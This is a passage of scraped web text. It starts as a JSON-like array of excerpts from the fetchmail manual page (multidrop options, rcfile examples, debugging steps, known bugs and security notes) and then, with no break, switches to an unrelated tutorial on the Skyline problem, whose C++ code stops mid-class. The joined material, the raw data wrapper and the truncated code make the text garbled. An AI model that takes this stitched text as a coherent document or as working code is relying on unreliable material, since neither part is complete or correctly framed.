’aka’ or ’localdomains’ declaration\nby looking it up with DNS. When a mailserver username is recognized\nattached to a matching hostname part, its local mapping is added to\nthe list of local recipients.\n" }, { "code": null, "e": 47407, "s": 46564, "text": "\nThe ’checkalias’ option (normally off) extends the lookups performed\nby the ’dns’ keyword in multidrop mode, providing a way to cope with\nremote MTAs that identify themselves using their canonical name, while\nthey’re polled using an alias.\nWhen such a server is polled, checks to extract the envelope address\nfail, and\nfetchmail reverts to delivery using the To/Cc/Bcc headers (See below\n’Header vs. Envelope addresses’).\nSpecifying this option instructs\nfetchmail to retrieve all the IP addresses associated with both the poll name\nand the name used by the remote MTA and to do a comparison of the IP\naddresses. This comes in handy in situations where the remote server\nundergoes frequent canonical name changes, that would otherwise\nrequire modifications to the rcfile. ’checkalias’ has no effect if\n’no dns’ is specified in the rcfile.\n" }, { "code": null, "e": 48054, "s": 47407, "text": "\nThe ’aka’ option is for use with multidrop mailboxes. It allows you\nto pre-declare a list of DNS aliases for a server. This is an\noptimization hack that allows you to trade space for speed. When\nfetchmail, while processing a multidrop mailbox, grovels through message headers\nlooking for names of the mailserver, pre-declaring common ones can\nsave it from having to do DNS lookups. Note: the names you give\nas arguments to ’aka’ are matched as suffixes -- if you specify\n(say) ’aka netaxs.com’, this will match not just a hostname\nnetaxs.com, but any hostname that ends with ’.netaxs.com’; such as\n(say) pop3.netaxs.com and mail.netaxs.com.\n" }, { "code": null, "e": 48396, "s": 48054, "text": "\nThe ’localdomains’ option allows you to declare a list of domains\nwhich fetchmail should consider local. When fetchmail is parsing\naddress lines in multidrop modes, and a trailing segment of a host\nname matches a declared local domain, that address is passed through\nto the listener or MDA unaltered (local-name mappings are not\napplied).\n" }, { "code": null, "e": 48870, "s": 48396, "text": "\nIf you are using ’localdomains’, you may also need to specify ’no\nenvelope’, which disables fetchmail’s normal attempt to deduce\nan envelope address from the Received line or X-Envelope-To header or\nwhatever header has been previously set by ’envelope’. If you set ’no\nenvelope’ in the defaults entry it is possible to undo that in\nindividual entries by using ’envelope <string>’. As a special case,\n’envelope \"Received\"’ restores the default parsing of\nReceived lines.\n" }, { "code": null, "e": 48978, "s": 48870, "text": "\nThe password option requires a string argument, which is the password\nto be used with the entry’s server.\n" }, { "code": null, "e": 49312, "s": 48978, "text": "\nThe ’preconnect’ keyword allows you to specify a shell command to be\nexecuted just before each time\nfetchmail establishes a mailserver connection. This may be useful if you are\nattempting to set up secure POP connections with the aid of\nssh(1).\nIf the command returns a nonzero status, the poll of that mailserver\nwill be aborted.\n" }, { "code": null, "e": 49474, "s": 49312, "text": "\nSimilarly, the ’postconnect’ keyword similarly allows you to specify a\nshell command to be executed just after each time a mailserver\nconnection is taken down.\n" }, { "code": null, "e": 49770, "s": 49474, "text": "\nThe ’forcecr’ option controls whether lines terminated by LF only are\ngiven CRLF termination before forwarding. Strictly speaking RFC821\nrequires this, but few MTAs enforce the requirement it so this option\nis normally off (only one such MTA, qmail, is in significant use at\ntime of writing).\n" }, { "code": null, "e": 50139, "s": 49770, "text": "\nThe ’stripcr’ option controls whether carriage returns are stripped\nout of retrieved mail before it is forwarded. It is normally not\nnecessary to set this, because it defaults to ’on’ (CR stripping\nenabled) when there is an MDA declared but ’off’ (CR stripping\ndisabled) when forwarding is via SMTP. If ’stripcr’ and ’forcecr’ are\nboth on, ’stripcr’ will override.\n" }, { "code": null, "e": 50759, "s": 50139, "text": "\nThe ’pass8bits’ option exists to cope with Microsoft mail programs that\nstupidly slap a \"Content-Transfer-Encoding: 7bit\" on everything. With\nthis option off (the default) and such a header present,\nfetchmail declares BODY=7BIT to an ESMTP-capable listener; this causes problems for\nmessages actually using 8-bit ISO or KOI-8 character sets, which will\nbe garbled by having the high bits of all characters stripped. If\n’pass8bits’ is on,\nfetchmail is forced to declare BODY=8BITMIME to any ESMTP-capable listener. If\nthe listener is 8-bit-clean (as all the major ones now are) the right\nthing will probably result.\n" }, { "code": null, "e": 51221, "s": 50759, "text": "\nThe ’dropstatus’ option controls whether nonempty Status and\nX-Mozilla-Status lines are retained in fetched mail (the default) or\ndiscarded. Retaining them allows your MUA to see what messages (if\nany) were marked seen on the server. On the other hand, it can\nconfuse some new-mail notifiers, which assume that anything with a\nStatus line in it has been seen. (Note: the empty Status lines\ninserted by some buggy POP servers are unconditionally discarded.)\n" }, { "code": null, "e": 51533, "s": 51221, "text": "\nThe ’dropdelivered’ option controls whether Delivered-To headers will\nbe kept in fetched mail (the default) or discarded. These headers are\nadded by Qmail and Postfix mailservers in order to avoid mail loops but\nmay get in your way if you try to \"mirror\" a mailserver within the same\ndomain. Use with caution.\n" }, { "code": null, "e": 52252, "s": 51533, "text": "\nThe ’mimedecode’ option controls whether MIME messages using the\nquoted-printable encoding are automatically converted into pure 8-bit\ndata. If you are delivering mail to an ESMTP-capable, 8-bit-clean\nlistener (that includes all of the major MTAs like sendmail), then\nthis will automatically convert quoted-printable message headers and\ndata into 8-bit data, making it easier to understand when reading\nmail. If your e-mail programs know how to deal with MIME messages,\nthen this option is not needed. The mimedecode option is off by\ndefault, because doing RFC2047 conversion on headers throws away\ncharacter-set information and can lead to bad results if the encoding\nof the headers differs from the body encoding.\n" }, { "code": null, "e": 53104, "s": 52252, "text": "\nThe ’idle’ option is intended to be used with IMAP servers supporting\nthe RFC2177 IDLE command extension, but does not strictly require it.\nIf it is enabled, and fetchmail detects that IDLE is supported, an\nIDLE will be issued at the end of each poll. This will tell the IMAP\nserver to hold the connection open and notify the client when new mail\nis available. If IDLE is not supported, fetchmail will simulate it by\nperiodically issuing NOOP. If you need to poll a link frequently, IDLE\ncan save bandwidth by eliminating TCP/IP connects and LOGIN/LOGOUT\nsequences. On the other hand, an IDLE connection will eat almost all\nof your fetchmail’s time, because it will never drop the connection\nand allow other polls to occur unless the server times out the IDLE.\nIt also doesn’t work with multiple folders; only the first folder will\never be polled.\n" }, { "code": null, "e": 53463, "s": 53106, "text": "\nThe ’properties’ option is an extension mechanism. It takes a string\nargument, which is ignored by fetchmail itself. The string argument may be\nused to store configuration information for scripts which require it.\nIn particular, the output of ’--configdump’ option will make properties\nassociated with a user entry readily available to a Python script.\n" }, { "code": null, "e": 53535, "s": 53465, "text": "\nLegal protocol identifiers for use with the ’protocol’ keyword are:\n" }, { "code": null, "e": 53759, "s": 53537, "text": " auto (or AUTO) (legacy, to be removed from future release)\n pop2 (or POP2) (legacy, to be removed from future release)\n pop3 (or POP3)\n sdps (or SDPS)\n imap (or IMAP)\n apop (or APOP)\n kpop (or KPOP)\n" }, { "code": null, "e": 54375, "s": 53761, "text": "\nLegal authentication types are ’any’, ’password’, ’kerberos’,\n’kerberos_v4’, ’kerberos_v5’ and ’gssapi’, ’cram-md5’, ’otp’, ’msn’\n(only for POP3), ’ntlm’, ’ssh’, ’external’ (only IMAP).\nThe ’password’ type specifies\nauthentication by normal transmission of a password (the password may be\nplain text or subject to protocol-specific encryption as in CRAM-MD5);\n’kerberos’ tells fetchmail to try to get a Kerberos ticket at the\nstart of each query instead, and send an arbitrary string as the\npassword; and ’gssapi’ tells fetchmail to use GSSAPI authentication.\nSee the description of the ’auth’ keyword for more.\n" }, { "code": null, "e": 54514, "s": 54375, "text": "\nSpecifying ’kpop’ sets POP3 protocol over port 1109 with Kerberos V4\nauthentication. These defaults may be overridden by later options.\n" }, { "code": null, "e": 55133, "s": 54514, "text": "\nThere are some global option statements: ’set logfile’\nfollowed by a string sets the same global specified by --logfile. A\ncommand-line --logfile option will override this. Note that --logfile is\nonly effective if fetchmail detaches itself from the terminal. Also,\n’set daemon’ sets the poll interval as --daemon does. This can be\noverridden by a command-line --daemon option; in particular --daemon~0\ncan be used to force foreground operation. The ’set postmaster’\nstatement sets the address to which multidrop mail defaults if there are\nno local matches. Finally, ’set syslog’ sends log messages to\nsyslogd(8).\n" }, { "code": null, "e": 55289, "s": 55135, "text": "\nFor solving hardware-induced segfaults, find the faulty component and repair or\nreplace it. <http://www.bitwizard.nl/sig11/> may help you with details.\n" }, { "code": null, "e": 55376, "s": 55289, "text": "\nFor solving software-induced segfaults, the developers may need a \"stack\nbacktrace\".\n" }, { "code": null, "e": 55694, "s": 55378, "text": "\n1. To get useful backtraces, fetchmail needs to be installed without\ngetting stripped of its compilation symbols. Unfortunately, most\nbinary packages that are installed are stripped, and core files from\nsymbol-stripped programs are worthless. So you may need to recompile\nfetchmail. On many systems, you can type\n" }, { "code": null, "e": 55728, "s": 55696, "text": " file ‘which fetchmail‘\n" }, { "code": null, "e": 55955, "s": 55728, "text": "\nto find out if fetchmail was symbol-stripped or not. If yours was\nunstripped, fine, proceed, if it was stripped, you need to recompile the\nsource code first. You do not usually need to install fetchmail in order\nto debug it.\n" }, { "code": null, "e": 56270, "s": 55955, "text": "\n2. The shell environment that starts fetchmail needs to enable core\ndumps. The key is the \"maximum core (file) size\" that can usually be\nconfigured with a tool named \"limit\" or \"ulimit\". See the documentation\nfor your shell for details. In the popular bash shell, \"ulimit -Sc\nunlimited\" will allow the core dump.\n" }, { "code": null, "e": 56435, "s": 56270, "text": "\n3. You need to tell fetchmail, too, to allow core dumps. To do\nthis, run fetchmail with the -d0 -v options. It is often easier\nto also add --nosyslog -N as well.\n" }, { "code": null, "e": 56683, "s": 56435, "text": "\nFinally, you need to reproduce the crash. You can just start fetchmail\nfrom the directory where you compiled it by typing ./fetchmail,\nso the complete command line will start with ./fetchmail -Nvd0\n--nosyslog and perhaps list your other options.\n" }, { "code": null, "e": 57242, "s": 56683, "text": "\nAfter the crash, run your debugger to obtain the core dump. The\ndebugger will often be GNU GDB, you can then type (adjust paths as\nnecessary) gdb ./fetchmail fetchmail.core and then, after GDB\nhas started up and read all its files, type backtrace full, save\nthe output (copy & paste will do, the backtrace will be read by a human)\nand then type quit to leave gdb.\nNote: on some systems, the core\nfiles have different names, they might contain a number instead of the\nprogram name, or number and name, but it will usually have \"core\" as\npart of their name.\n" }, { "code": null, "e": 57469, "s": 57246, "text": " Return-Path:\n Resent-Sender: (ignored if it doesn’t contain an @ or !)\n Sender: (ignored if it doesn’t contain an @ or !)\n Resent-From:\n From:\n Reply-To:\n Apparently-From:\n" }, { "code": null, "e": 57865, "s": 57469, "text": "\nThe originating address is used for logging, and to set the MAIL FROM\naddress when forwarding to SMTP. This order is intended to cope\ngracefully with receiving mailing list messages in multidrop mode. The\nintent is that if a local address doesn’t exist, the bounce message\nwon’t be returned blindly to the author or to the list itself, but\nrather to the list manager (which is less annoying).\n" }, { "code": null, "e": 58211, "s": 57865, "text": "\nIn multidrop mode, destination headers are processed as follows:\nFirst, fetchmail looks for the Received: header (or whichever one is\nspecified by the ’envelope’ option) to determine the local\nrecipient address. If the mail is addressed to more than one recipient,\nthe Received line won’t contain any information regarding recipient addresses.\n" }, { "code": null, "e": 58645, "s": 58211, "text": "\nThen fetchmail looks for the Resent-To:, Resent-Cc:, and Resent-Bcc:\nlines. If they exist, they should contain the final recipients and\nhave precedence over their To:/Cc:/Bcc: counterparts. If the Resent-*\nlines don’t exist, the To:, Cc:, Bcc: and Apparently-To: lines are\nlooked for. (The presence of a Resent-To: is taken to imply that the\nperson referred by the To: address has already received the original\ncopy of the mail.)\n" }, { "code": null, "e": 58666, "s": 58647, "text": "\nBasic format is:\n" }, { "code": null, "e": 58737, "s": 58668, "text": " poll SERVERNAME protocol PROTOCOL username NAME password PASSWORD\n" }, { "code": null, "e": 58748, "s": 58737, "text": "\nExample:\n" }, { "code": null, "e": 58826, "s": 58750, "text": " poll pop.provider.net protocol pop3 username \"jsmith\" password \"secret1\"\n" }, { "code": null, "e": 58858, "s": 58826, "text": "\nOr, using some abbreviations:\n" }, { "code": null, "e": 58929, "s": 58860, "text": " poll pop.provider.net proto pop3 user \"jsmith\" password \"secret1\"\n" }, { "code": null, "e": 58963, "s": 58929, "text": "\nMultiple servers may be listed:\n" }, { "code": null, "e": 59099, "s": 58965, "text": " poll pop.provider.net proto pop3 user \"jsmith\" pass \"secret1\"\n poll other.provider.net proto pop2 user \"John.Smith\" pass \"My^Hat\"\n" }, { "code": null, "e": 59174, "s": 59099, "text": "\nHere’s a version of those two with more whitespace and some noise words:\n" }, { "code": null, "e": 59383, "s": 59176, "text": " poll pop.provider.net proto pop3\n user \"jsmith\", with password secret1, is \"jsmith\" here;\n poll other.provider.net proto pop2:\n user \"John.Smith\", with password \"My^Hat\", is \"John.Smith\" here;\n" }, { "code": null, "e": 59503, "s": 59383, "text": "\nThis version is much easier to read and doesn’t cost significantly\nmore (parsing is done only once, at startup time).\n" }, { "code": null, "e": 59608, "s": 59505, "text": "\nIf you need to include whitespace in a parameter string, enclose the\nstring in double quotes. Thus:\n" }, { "code": null, "e": 59772, "s": 59610, "text": " poll mail.provider.net with proto pop3:\n user \"jsmith\" there has password \"u can’t krak this\"\n is jws here and wants mda \"/bin/mail\"\n" }, { "code": null, "e": 60033, "s": 59772, "text": "\nYou may have an initial server description headed by the keyword\n’defaults’ instead of ’poll’ followed by a name. Such a record\nis interpreted as defaults for all queries to use. It may be overwritten\nby individual server descriptions. So, you could write:\n" }, { "code": null, "e": 60204, "s": 60035, "text": " defaults proto pop3\n user \"jsmith\"\n poll pop.provider.net\n pass \"secret1\"\n poll mail.provider.net\n user \"jjsmith\" there has password \"secret2\"\n" }, { "code": null, "e": 60480, "s": 60204, "text": "\nIt’s possible to specify more than one user per server (this is only\nlikely to be useful when running fetchmail in daemon mode as root).\nThe ’user’ keyword leads off a user description, and every user specification\nin a multi-user entry must include it. Here’s an example:\n" }, { "code": null, "e": 60647, "s": 60482, "text": " poll pop.provider.net proto pop3 port 3111\n user \"jsmith\" with pass \"secret1\" is \"smith\" here\n user jones with pass \"secret2\" is \"jjones\" here keep\n" }, { "code": null, "e": 60868, "s": 60647, "text": "\nThis associates the local username ’smith’ with the pop.provider.net\nusername ’jsmith’ and the local username ’jjones’ with the\npop.provider.net username ’jones’. Mail for ’jones’ is kept on the\nserver after download.\n" }, { "code": null, "e": 60951, "s": 60868, "text": "\nHere’s what a simple retrieval configuration for a multidrop mailbox\nlooks like:\n" }, { "code": null, "e": 61056, "s": 60953, "text": " poll pop.provider.net:\n user maildrop with pass secret1 to golux ’hurkle’=’happy’ snark here\n" }, { "code": null, "e": 61416, "s": 61056, "text": "\nThis says that the mailbox of account ’maildrop’ on the server is a\nmultidrop box, and that messages in it should be parsed for the\nserver user names ’golux’, ’hurkle’, and ’snark’. It further\nspecifies that ’golux’ and ’snark’ have the same name on the\nclient as on the server, but mail for server user ’hurkle’ should be\ndelivered to client user ’happy’.\n" }, { "code": null, "e": 61639, "s": 61416, "text": "\nNote that\nfetchmail, until version 6.3.4, did NOT allow full user@domain specifications here,\nthese would never match. Fetchmail 6.3.5 and newer support\nuser@domain specifications on the left-hand side of a user mapping.\n" }, { "code": null, "e": 61700, "s": 61639, "text": "\nHere’s an example of another kind of multidrop connection:\n" }, { "code": null, "e": 61816, "s": 61702, "text": " poll pop.provider.net localdomains loonytoons.org toons.org:\n user maildrop with pass secret1 to * here\n" }, { "code": null, "e": 62167, "s": 61816, "text": "\nThis also says that the mailbox of account ’maildrop’ on the server is\na multidrop box. It tells fetchmail that any address in the\nloonytoons.org or toons.org domains (including sub-domain addresses like\n’[email protected]’) should be passed through to the local SMTP\nlistener without modification. Be careful of mail loops if you do this!\n" }, { "code": null, "e": 62368, "s": 62167, "text": "\nHere’s an example configuration using ssh and the plugin option. The\nqueries are made directly on the stdin and stdout of imapd via ssh.\nNote that in this setup, IMAP authentication can be skipped.\n" }, { "code": null, "e": 62485, "s": 62370, "text": "poll mailhost.net with proto imap:\n plugin \"ssh %h /usr/sbin/imapd\" auth ssh;\n user esr is esr here\n" }, { "code": null, "e": 62819, "s": 62487, "text": "\nAlso, note that in multidrop mode duplicate mails are suppressed. A\npiece of mail is considered duplicate if it has the same message-ID as\nthe message immediately preceding and more than one addressee. Such\nruns of messages may be generated when copies of a message addressed\nto multiple users are delivered to a multidrop box.\n" }, { "code": null, "e": 63288, "s": 62821, "text": "\nSometimes\nfetchmail can deduce the envelope address. If the mailserver MTA is\nsendmail and the item of mail had just one recipient, the MTA will have written\na ’by/for’ clause that gives the envelope addressee into its Received\nheader. But this doesn’t work reliably for other MTAs, nor if there is\nmore than one recipient. By default, fetchmail looks for\nenvelope addresses in these lines; you can restore this default with\n-E \"Received\" or ’envelope Received’.\n" }, { "code": null, "e": 63860, "s": 63288, "text": "\nAs a better alternative, some SMTP listeners and/or mail servers insert a header\nin each message containing a copy of the envelope addresses. This\nheader (when it exists) is often ’X-Original-To’, ’Delivered-To’ or\n’X-Envelope-To’. Fetchmail’s assumption about this can be changed with\nthe -E or ’envelope’ option. Note that writing an envelope header of\nthis kind exposes the names of recipients (including blind-copy\nrecipients) to all receivers of the messages, so the upstream must store\none copy of the message per recipient to avoid becoming a privacy problem.\n" }, { "code": null, "e": 63980, "s": 63860, "text": "\nPostfix, since version 2.0, writes an X-Original-To: header which\ncontains a copy of the envelope as it was received.\n" }, { "code": null, "e": 64292, "s": 63980, "text": "\nQmail and Postfix generally write a ’Delivered-To’ header upon\ndelivering the message to the mail spool and use it to avoid mail loops.\nQmail virtual domains however will prefix the user name with a string\nthat normally matches the user’s domain. To remove this prefix you can\nuse the -Q or ’qvirtual’ option.\n" }, { "code": null, "e": 64806, "s": 64292, "text": "\nSometimes, unfortunately, neither of these methods works. That is the\npoint when you should contact your ISP and ask them to provide such an\nenvelope header, and you should not use multidrop in this situation.\nWhen they all fail, fetchmail must fall back on the contents of To/Cc\nheaders (Bcc headers are not available - see below) to try to determine\nrecipient addressees -- and these are unreliable.\nIn particular, mailing-list software often ships mail with only\nthe list broadcast address in the To header.\n" }, { "code": null, "e": 64874, "s": 64806, "text": "\nNote that a future version of fetchmail may remove To/Cc parsing! " }, { "code": null, "e": 65128, "s": 64874, "text": "\nWhen\nfetchmail cannot deduce a recipient address that is local, and the intended\nrecipient address was anyone other than fetchmail’s invoking user,\nmail will get lost. This is what makes the multidrop feature risky without proper envelope\ninformation.\n" }, { "code": null, "e": 65581, "s": 65128, "text": "\nA related problem is that when you blind-copy a mail message, the Bcc\ninformation is carried only as envelope address (it’s removed from\nthe headers by the sending mail server, so fetchmail can see it only if\nthere is an X-\\Envelope-To header). Thus, blind-copying to someone who\ngets mail over a fetchmail multidrop link will fail unless the the\nmailserver host routinely writes X-Envelope-To or an equivalent header\ninto messages in your maildrop.\n" }, { "code": null, "e": 65847, "s": 65581, "text": "\nIn conclusion, mailing lists and Bcc’d mail can only work if the\nserver you’re fetching from (1) stores one copy of the message per\nrecipient in your domain and (2) records the envelope\ninformation in a special header (X-Original-To, Delivered-To,\nX-Envelope-To).\n" }, { "code": null, "e": 66507, "s": 65849, "text": "\nOn your server, you can alias ’fetchmail-friends’ to ’esr’; then, in\nyour .fetchmailrc, declare ’to esr fetchmail-friends here’.\nThen, when mail including ’fetchmail-friends’ as a local address\ngets fetched, the list name will be appended to the list of\nrecipients your SMTP listener sees. Therefore it will undergo alias\nexpansion locally. Be sure to include ’esr’ in the local alias\nexpansion of fetchmail-friends, or you’ll never see mail sent only to\nthe list. Also be sure that your listener has the \"me-too\" option set\n(sendmail’s -oXm command-line option or OXm declaration) so your name\nisn’t removed from alias expansions in messages you send.\n" }, { "code": null, "e": 67023, "s": 66507, "text": "\nThis trick is not without its problems, however. You’ll begin to see\nthis when a message comes in that is addressed only to a mailing list\nyou do not have declared as a local name. Each such message\nwill feature an ’X-Fetchmail-Warning’ header which is generated\nbecause fetchmail cannot find a valid local name in the recipient\naddresses. Such messages default (as was described above) to being\nsent to the local user running\nfetchmail, but the program has no way to know that that’s actually the right thing.\n" }, { "code": null, "e": 67512, "s": 67025, "text": "\nIf you’re tempted to use\nfetchmail to retrieve mail for multiple users from a single mail drop via POP or\nIMAP, think again (and reread the section on header and envelope\naddresses above). It would be smarter to just let the mail sit in the\nmailserver’s queue and use fetchmail’s ETRN or ODMR modes to trigger\nSMTP sends periodically (of course, this means you have to poll more\nfrequently than the mailserver’s expiry period). If you can’t arrange\nthis, try setting up a UUCP feed.\n" }, { "code": null, "e": 67719, "s": 67512, "text": "\nIf you absolutely must use multidrop for this purpose, make sure\nyour mailserver writes an envelope-address header that fetchmail can\nsee. Otherwise you will lose mail and it will come back\nto haunt you.\n" }, { "code": null, "e": 68121, "s": 67721, "text": "\nThis is a convenient but also slow method. To speed\nit up, pre-declare mailserver aliases with ’aka’; these are checked\nbefore DNS lookups are done. If you’re certain your aka list contains\nall DNS aliases of the mailserver (and all MX names pointing at it - note\nthis may change in a future version)\nyou can declare ’no dns’ to suppress DNS lookups entirely and\nonly match against the aka list.\n" }, { "code": null, "e": 68178, "s": 68123, "text": "\nThe exit codes returned by\nfetchmail are as follows:\n" }, { "code": null, "e": 68577, "s": 68182, "text": "\nIf the environment variable FETCHMAILHOME is set to a valid and\nexisting directory name, fetchmail will read $FETCHMAILHOME/fetchmailrc\n(the dot is missing in this case), $FETCHMAILHOME/.fetchids and\n$FETCHMAILHOME/.fetchmail.pid rather than from the user’s home\ndirectory. The .netrc file is always looked for in the the invoking\nuser’s home directory regardless of FETCHMAILHOME’s setting.\n" }, { "code": null, "e": 68682, "s": 68577, "text": "\nIf the HOME_ETC variable is set, fetchmail will read\n$HOME_ETC/.fetchmailrc instead of ~/.fetchmailrc.\n" }, { "code": null, "e": 68749, "s": 68682, "text": "\nIf HOME_ETC and FETCHMAILHOME are set, HOME_ETC will be ignored.\n" }, { "code": null, "e": 68907, "s": 68751, "text": "\nIf\nfetchmail is running in daemon mode as non-root, use SIGUSR1 to wake it (this is\nso SIGHUP due to logout can retain the default action of killing it).\n" }, { "code": null, "e": 69038, "s": 68907, "text": "\nRunning\nfetchmail in foreground while a background fetchmail is running will do\nwhichever of these is appropriate to wake it up.\n" }, { "code": null, "e": 69278, "s": 69040, "text": "\nFetchmail cannot handle user names that contain blanks after a \"@\"\ncharacter, for instance \"demonstr@ti on\". These are rather uncommon and\nonly hurt when using UID-based --keep setups, so the 6.3.X versions of\nfetchmail won’t be fixed.\n" }, { "code": null, "e": 69379, "s": 69278, "text": "\nPlease check the NEWS file that shipped with fetchmail for more\nknown bugs than those listed here.\n" }, { "code": null, "e": 69641, "s": 69379, "text": "\nThe assumptions that the DNS and in particular the checkalias options\nmake are not often sustainable. For instance, it has become uncommon for\nan MX server to be a POP3 or IMAP server at the same time. Therefore the\nMX lookups may go away in a future release.\n" }, { "code": null, "e": 70025, "s": 69641, "text": "\nThe mda and plugin options interact badly. In order to collect error\nstatus from the MDA, fetchmail has to change its normal signal\nhandling so that dead plugin processes don’t get reaped until the end\nof the poll cycle. This can cause resource starvation if too many\nzombies accumulate. So either don’t deliver to a MDA using plugins or\nrisk being overrun by an army of undead.\n" }, { "code": null, "e": 70174, "s": 70025, "text": "\nThe --interface option does not support IPv6 and it is doubtful if it\never will, since there is no portable way to query interface IPv6\naddresses.\n" }, { "code": null, "e": 70365, "s": 70174, "text": "\nThe RFC822 address parser used in multidrop mode chokes on some\n@-addresses that are technically legal but bizarre. Strange uses of\nquoting and embedded comments are likely to confuse it.\n" }, { "code": null, "e": 70470, "s": 70365, "text": "\nIn a message with multiple envelope headers, only the last one\nprocessed will be visible to fetchmail.\n" }, { "code": null, "e": 71178, "s": 70470, "text": "\nUse of some of these protocols requires that the program send\nunencrypted passwords over the TCP/IP connection to the mailserver.\nThis creates a risk that name/password pairs might be snaffled with a\npacket sniffer or more sophisticated monitoring software. Under Linux\nand FreeBSD, the --interface option can be used to restrict polling to\navailability of a specific interface device with a specific local or\nremote IP address, but snooping is still possible if (a) either host\nhas a network device that can be opened in promiscuous mode, or (b)\nthe intervening network link can be tapped. We recommend the use of\nssh(1)\ntunnelling to not only shroud your passwords but encrypt the entire\nconversation.\n" }, { "code": null, "e": 71648, "s": 71178, "text": "\nUse of the %F or %T escapes in an mda option could open a security\nhole, because they pass text manipulable by an attacker to a shell\ncommand. Potential shell characters are replaced by ’_’ before\nexecution. The hole is further reduced by the fact that fetchmail\ntemporarily discards any suid privileges it may have while running the\nMDA. For maximum safety, however, don’t use an mda command containing\n%F or %T when fetchmail is run from the root account itself.\n" }, { "code": null, "e": 71811, "s": 71648, "text": "\nFetchmail’s method of sending bounces due to errors or spam-blocking and\nspam bounces requires that port 25 of localhost be available for sending\nmail via SMTP.\n" }, { "code": null, "e": 72200, "s": 71811, "text": "\nIf you modify a\n~/.fetchmailrc while a background instance is running and break the syntax, the\nbackground instance will die silently. Unfortunately, it can’t\ndie noisily because we don’t yet know whether syslog should be enabled.\nOn some systems, fetchmail dies quietly even if there is no syntax\nerror; this seems to have something to do with buggy terminal ioctl\ncode in the kernel.\n" }, { "code": null, "e": 72295, "s": 72200, "text": "\nThe -f~- option (reading a configuration from stdin) is incompatible\nwith the plugin option.\n" }, { "code": null, "e": 72353, "s": 72295, "text": "\nThe ’principal’ option only handles Kerberos IV, not V.\n" }, { "code": null, "e": 72510, "s": 72353, "text": "\nInteractively entered passwords are truncated after 63 characters. If\nyou really need to use a longer password, you will have to use a\nconfiguration file.\n" }, { "code": null, "e": 72625, "s": 72510, "text": "\nA backslash as the last character of a configuration file will be\nflagged as a syntax error rather than ignored.\n" }, { "code": null, "e": 72894, "s": 72625, "text": "\nSend comments, bug reports, gripes, and the like to the\nfetchmail-devel list <[email protected]>. An HTML FAQ is\navailable at the fetchmail home page; surf to\nhttp://fetchmail.berlios.de/ or do a WWW search for pages with\n’fetchmail’ in their titles.\n" }, { "code": null, "e": 73035, "s": 72896, "text": "\nMost of the code is from Eric S. Raymond <[email protected]>. Too\nmany other people to name here have contributed code and patches.\n" }, { "code": null, "e": 73252, "s": 73035, "text": "\nThis program is descended from and replaces\npopclient, by Carl Harris <[email protected]>; the internals have become quite different,\nbut some of its interface design is directly traceable to that\nancestral program.\n" }, { "code": null, "e": 73335, "s": 73252, "text": "\nThis manual page has been improved by R. Hannes Beinert and H[’e]ctor\nGarc[’i]a.\n" }, { "code": null, "e": 73395, "s": 73337, "text": "\nThe fetchmail home page: <http://fetchmail.berlios.de/>\n" }, { "code": null, "e": 73460, "s": 73395, "text": "\nThe maildrop home page: <http://www.courier-mta.org/maildrop/>\n" } ]
The Skyline Problem using Divide and Conquer algorithm
20 Feb, 2020 Given n rectangular buildings in a 2-dimensional city, computes the skyline of these buildings, eliminating hidden lines. The main task is to view buildings from a side and remove all sections that are not visible. All buildings share common bottom and every building is represented by triplet (left, ht, right) ‘left’: is x coordinated of left side (or wall). ‘right’: is x coordinate of right side ‘ht’: is height of building. A skyline is a collection of rectangular strips. A rectangular strip is represented as a pair (left, ht) where left is x coordinate of left side of strip and ht is height of strip.Examples: Input: Array of buildings { (1, 11, 5), (2, 6, 7), (3, 13, 9), (12, 7, 16), (14, 3, 25), (19, 18, 22), (23, 13, 29), (24, 4, 28) } Output: Skyline (an array of rectangular strips) A strip has x coordinate of left side and height (1, 11), (3, 13), (9, 0), (12, 7), (16, 3), (19, 18), (22, 3), (25, 0) Below image is for input 1 : Consider following as another example when there is only one building Input: {(1, 11, 5)} Output: (1, 11), (5, 0) A Simple Solution is to initialize skyline or result as empty, then one by one add buildings to skyline. A building is added by first finding the overlapping strip(s). If there are no overlapping strips, the new building adds new strip(s). If overlapping strip is found, then height of the existing strip may increase. Time complexity of this solution is O(n2) We can find Skyline in Θ(nLogn) time using Divide and Conquer. The idea is similar to Merge Sort, divide the given set of buildings in two subsets. Recursively construct skyline for two halves and finally merge the two skylines. How to Merge two Skylines?The idea is similar to merge of merge sort, start from first strips of two skylines, compare x coordinates. Pick the strip with smaller x coordinate and add it to result. The height of added strip is considered as maximum of current heights from skyline1 and skyline2. Example to show working of merge: Height of new Strip is always obtained by takin maximum of following (a) Current height from skyline1, say 'h1'. (b) Current height from skyline2, say 'h2' h1 and h2 are initialized as 0. h1 is updated when a strip from SkyLine1 is added to result and h2 is updated when a strip from SkyLine2 is added. Skyline1 = {(1, 11), (3, 13), (9, 0), (12, 7), (16, 0)} Skyline2 = {(14, 3), (19, 18), (22, 3), (23, 13), (29, 0)} Result = {} h1 = 0, h2 = 0 Compare (1, 11) and (14, 3). Since first strip has smaller left x, add it to result and increment index for Skyline1. h1 = 11, New Height = max(11, 0) Result = {(1, 11)} Compare (3, 13) and (14, 3). Since first strip has smaller left x, add it to result and increment index for Skyline1 h1 = 13, New Height = max(13, 0) Result = {(1, 11), (3, 13)} Similarly (9, 0) and (12, 7) are added. h1 = 7, New Height = max(7, 0) = 7 Result = {(1, 11), (3, 13), (9, 0), (12, 7)} Compare (16, 0) and (14, 3). Since second strip has smaller left x, it is added to result. h2 = 3, New Height = max(7, 3) = 7 Result = {(1, 11), (3, 13), (9, 0), (12, 7), (14, 7)} Compare (16, 0) and (19, 18). Since first strip has smaller left x, it is added to result. h1 = 0, New Height = max(0, 3) = 3 Result = {(1, 11), (3, 13), (9, 0), (12, 7), (14, 7), (16, 3)} Since Skyline1 has no more items, all remaining items of Skyline2 are added Result = {(1, 11), (3, 13), (9, 0), (12, 7), (14, 7), (16, 3), (19, 18), (22, 3), (23, 13), (29, 0)} One observation about above output is, the strip (14, 7) is redundant (There is already an strip of same height). We remove all redundant strips. Result = {(1, 11), (3, 13), (9, 0), (12, 7), (16, 3), (19, 18), (22, 3), (23, 13), (29, 0)} In below code, redundancy is handled by not appending a strip if the previous strip in result has same height. Below is C++ implementation of above idea. // A divide and conquer based C++// program to find skyline of given buildings#include <iostream>using namespace std; // A structure for buildingstruct Building { // x coordinate of left side int left; // height int ht; // x coordinate of right side int right;}; // A strip in skylineclass Strip { // x coordinate of left side int left; // height int ht; public: Strip(int l = 0, int h = 0) { left = l; ht = h; } friend class SkyLine;}; // Skyline: To represent Output(An array of strips)class SkyLine { // Array of strips Strip* arr; // 